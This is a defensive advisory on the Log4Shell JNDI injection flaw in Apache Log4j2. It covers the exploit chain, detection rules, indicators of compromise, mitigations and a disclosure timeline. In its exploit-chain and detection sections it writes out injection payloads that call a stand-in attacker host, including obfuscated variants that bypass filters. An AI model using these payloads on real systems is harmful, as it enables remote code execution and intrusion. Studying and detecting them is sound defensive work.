Log4Shell — Apache Log4j2 Remote Code Execution (CVE-2021-44228)

Severity Assessment

• Exploitability: 10/10 — Trivial to exploit; a single crafted string in any logged input field triggers remote code execution with no authentication or user interaction required
• Impact: 10/10 — Full remote code execution on any vulnerable Java application, with privileges of the running JVM process
• Weaponization Risk: Critical — Exploited within hours of public disclosure; automated mass scanning observed globally within 24 hours; weaponized by nation-state actors, ransomware operators, and cryptominers simultaneously
• Patch Urgency: Critical — CISA issued Emergency Directive and added to KEV catalog under BOD 22-01; FTC warned of legal consequences for failure to patch
• Detection Coverage: Medium initially — Rapidly improved as community developed WAF signatures, YARA rules, and log scanning tools; obfuscation bypasses complicated early detection efforts

CVSS 3.1 Base Score: 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Executive Summary

CVE-2021-44228, widely known as Log4Shell, is a critical JNDI injection vulnerability in Apache Log4j2, one of the most widely deployed Java logging libraries in existence. The vulnerability allows an unauthenticated remote attacker to achieve arbitrary code execution by injecting a crafted string such as ${jndi:ldap://attacker.com/exploit} into any input that is processed by Log4j2’s message lookup substitution feature. When Log4j2 encounters this pattern in a logged message, it resolves the JNDI lookup, connects to the attacker-controlled LDAP or RMI server, downloads a malicious Java class, and executes it within the context of the vulnerable application.

The vulnerability affected virtually every Java application that included Log4j2 versions 2.0-beta9 through 2.14.1 as a dependency — spanning hundreds of millions of systems across cloud services, enterprise software, embedded devices, and consumer applications. Products from Apache, VMware, Cisco, IBM, Oracle, Red Hat, Fortinet, and thousands of other vendors were confirmed vulnerable. The sheer ubiquity of Log4j2 in the Java ecosystem made this one of the most far-reaching vulnerabilities ever disclosed.

Chen Zhaojun of Alibaba Cloud Security Team discovered the vulnerability and reported it to Apache on November 24, 2021. Apache confirmed the issue on December 1. The CVE was assigned and a proof-of-concept was published on December 9, triggering immediate mass exploitation. Within hours, security firms observed widespread automated scanning and exploitation attempts across the internet. Apache released Log4j 2.15.0 on December 10, but this initial fix was incomplete, leading to a series of follow-on CVEs (CVE-2021-45046, CVE-2021-45105, CVE-2021-44832) and additional patch releases culminating in Log4j 2.17.0 on December 17 as the fully remediated version.

Exploit Chain

Stage 1: Attacker Input Reaches Log4j2

The attacker injects a crafted JNDI lookup string into any input field that the target application logs via Log4j2. Common injection vectors include HTTP headers (User-Agent, X-Forwarded-For, Referer), URL parameters, form fields, API request bodies, and any other user-controllable data that flows through application logging. The malicious payload takes the form ${jndi:ldap://attacker-server.com/exploit} or equivalent JNDI URI schemes (RMI, DNS, IIOP).

Stage 2: Log4j2 Message Lookup Substitution

When Log4j2 processes a log message containing the ${...} pattern, its message lookup substitution feature — enabled by default — interprets the content as a lookup expression. The JNDI lookup plugin resolves the expression by initiating an outbound connection to the attacker-specified server using the LDAP, RMI, or other supported naming protocol.

Stage 3: Malicious Class Retrieval

The attacker’s LDAP or RMI server responds with a reference to a malicious Java class hosted on an attacker-controlled HTTP server. The vulnerable application’s JVM downloads this class file over the network. In configurations using older Java versions (prior to JDK 8u191), the class is loaded and instantiated directly. On newer JDK versions, attackers leveraged deserialization gadget chains present in common application dependencies to achieve the same result.

Stage 4: Arbitrary Code Execution

The malicious Java class executes within the JVM process of the vulnerable application, inheriting its privileges and access. Observed post-exploitation activities included deployment of cryptominers, installation of reverse shells and web shells, credential harvesting, lateral movement, ransomware deployment (Conti, Khonsari), and data exfiltration. Nation-state actors from China, Iran, North Korea, and Turkey were observed leveraging Log4Shell for espionage operations.

Detection Guidance

WAF and network-based detection:

• Deploy WAF rules matching JNDI lookup patterns: ${jndi:ldap://, ${jndi:rmi://, ${jndi:dns://, ${jndi:iiop://
• Monitor for outbound LDAP (port 389, 636, 1389), RMI (port 1099), and DNS connections from application servers to unexpected external destinations
• Inspect HTTP request headers, URL parameters, and POST bodies for JNDI lookup strings

Obfuscation-aware detection:

• Attackers rapidly developed obfuscation techniques to bypass naive string matching. Detection rules must account for variants including:
  • Nested lookups: ${${lower:j}ndi:${lower:l}dap://attacker.com/x}
  • Character insertion: ${j${::-n}di:ldap://attacker.com/x}
  • Environment variable abuse: ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap://attacker.com/x}
  • URL encoding, Unicode escapes, and mixed-case variations

Log-based detection:

• Scan all application logs, web server access logs, and error logs for JNDI lookup patterns and their obfuscated variants
• Use tools such as log4shell-detector, log4j-scan, or Huntress Log4Shell Tester for retrospective log analysis

Host-based detection:

• Monitor for unexpected outbound network connections from Java processes
• Java agent-based monitoring (e.g., JVM security managers, RASP solutions) to detect runtime JNDI resolution attempts
• File integrity monitoring for unexpected class files or JAR modifications

Indicators of Compromise

Network Indicators

• Outbound LDAP, RMI, or IIOP connections from application servers to unknown external IP addresses, particularly on non-standard ports (commonly 1389, 1099, 12344)
• DNS queries from application servers resolving attacker callback domains (many used Interactsh, Burp Collaborator, or custom DNS infrastructure for initial verification)
• HTTP requests containing ${jndi: patterns in any header, parameter, or body field visible in web access logs

Log Patterns

• ${jndi:ldap:// in any log field — the canonical exploitation string
• ${jndi:rmi:// and ${jndi:dns:// — alternate JNDI protocols used in exploitation
• Obfuscated variants: ${${lower:j}ndi:, ${j${::-n}di:}, ${${env: patterns in any logged input
• Java stack traces containing org.apache.logging.log4j.core.lookup.JndiLookup or javax.naming.InitialContext during unexpected JNDI operations
• Error messages referencing failed outbound LDAP or RMI connections from application processes

Host Indicators

• Unexpected Java class files or JARs written to temporary directories by the JVM process
• New or modified cron jobs, scheduled tasks, or startup scripts created by the application service account
• Cryptominer processes (XMRig variants) spawned by Java application processes
• Reverse shell connections (Bash, Python, PowerShell) originating from Java processes
• Cobalt Strike beacons or other C2 implants deployed via post-exploitation

Pre-Patch Mitigations

Immediate mitigations (in order of effectiveness):

• Remove JndiLookup class from classpath: Delete the JndiLookup.class file from the Log4j2 JAR (zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). This completely eliminates the vulnerable code path without requiring a full library upgrade.
• Upgrade to Log4j 2.17.0 or later: The fully remediated version that addresses CVE-2021-44228 and all related follow-on vulnerabilities. Version 2.15.0 and 2.16.0 contained incomplete fixes.
• Set system property log4j2.formatMsgNoLookups=true: Disables message lookup substitution. Effective for Log4j 2.10.0+ but does not protect against all attack vectors (CVE-2021-45046 bypassed this mitigation in certain non-default configurations).
• Set environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true: Equivalent to the system property mitigation, useful in containerized environments.

Network-level mitigations:

• Deploy WAF rules blocking JNDI lookup patterns in all HTTP traffic including obfuscated variants
• Implement strict network egress filtering to block outbound LDAP (389, 636, 1389), RMI (1099), and DNS from application servers to untrusted destinations
• Use network segmentation to limit the blast radius of compromised application servers

Post-remediation requirements:

• After patching, conduct a thorough compromise assessment — patching does not remove existing backdoors or reverse the effects of prior exploitation
• Rotate all credentials accessible to previously vulnerable applications
• Review systems for indicators of post-exploitation activity (cryptominers, web shells, C2 implants)

Disclosure Timeline

2021-11-24 — Vulnerability Reported to Apache

Chen Zhaojun of Alibaba Cloud Security Team reported the JNDI injection vulnerability to the Apache Software Foundation’s Log4j security team via their responsible disclosure process.

2021-12-01 — Apache Confirms the Vulnerability

Apache confirmed the vulnerability and began work on a fix. The issue was assigned the identifier LOG4J2-3201 in the Apache JIRA tracker.

2021-12-09 — CVE Assigned and Proof-of-Concept Published

CVE-2021-44228 was publicly assigned. A proof-of-concept exploit was published on GitHub, and security researchers began observing mass scanning activity within hours. The name “Log4Shell” was coined by the LunaSec research team in their initial advisory blog post.

2021-12-10 — Log4j 2.15.0 Released (Incomplete Fix)

Apache released Log4j 2.15.0, which disabled message lookups by default and restricted JNDI connections to localhost. However, this fix was subsequently found to be incomplete under certain non-default configurations.

2021-12-13 — Log4j 2.16.0 Released

Apache released Log4j 2.16.0, which completely disabled JNDI lookup functionality by default and removed support for message lookup patterns. This addressed CVE-2021-45046, a follow-on vulnerability that bypassed the 2.15.0 fix.

2021-12-14 — CVE-2021-45046 Disclosed

A second vulnerability was disclosed affecting Log4j 2.15.0, demonstrating that the initial fix was insufficient in non-default configurations where a Thread Context Map pattern was used in the logging configuration.

2021-12-17 — Log4j 2.17.0 Released

Apache released Log4j 2.17.0, addressing a third vulnerability (CVE-2021-45105) that allowed denial-of-service via uncontrolled recursion in lookup evaluation. Version 2.17.0 is considered the first fully remediated release.

2021-12-18 — CVE-2021-44832 Identified

A fourth related vulnerability was identified allowing remote code execution via JDBC Appender when an attacker has write access to the logging configuration. This was addressed in Log4j 2.17.1.

2021-12-20 — CISA Emergency Directive

CISA issued Emergency Directive ED 22-02 and added CVE-2021-44228 to the Known Exploited Vulnerabilities catalog under BOD 22-01, requiring federal civilian agencies to enumerate and patch all affected systems.

2022-01-04 — FTC Issues Warning

The U.S. Federal Trade Commission issued a public warning to companies that failure to remediate Log4Shell could result in legal action under the FTC Act, citing the Equifax precedent.

Sources & References

1. NVD — CVE-2021-44228 — NIST National Vulnerability Database
2. Apache Log4j Security Vulnerabilities — Apache Software Foundation
3. CISA Alert (AA21-356A): Mitigating Log4Shell and Other Log4j-Related Vulnerabilities — CISA, 2021-12-22
4. Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package — LunaSec, 2021-12-09
5. Alibaba Cloud Security Team Advisory on Apache Log4j2 RCE Vulnerability — Alibaba Cloud
6. CISA Known Exploited Vulnerabilities Catalog — CVE-2021-44228 — CISA
7. Worldwide Exploitation of Log4j (CVE-2021-44228) — Cloudflare, 2021-12-10
8. Microsoft Guidance for Preventing, Detecting, and Hunting for CVE-2021-44228 Exploitation — Microsoft Security, 2021-12-11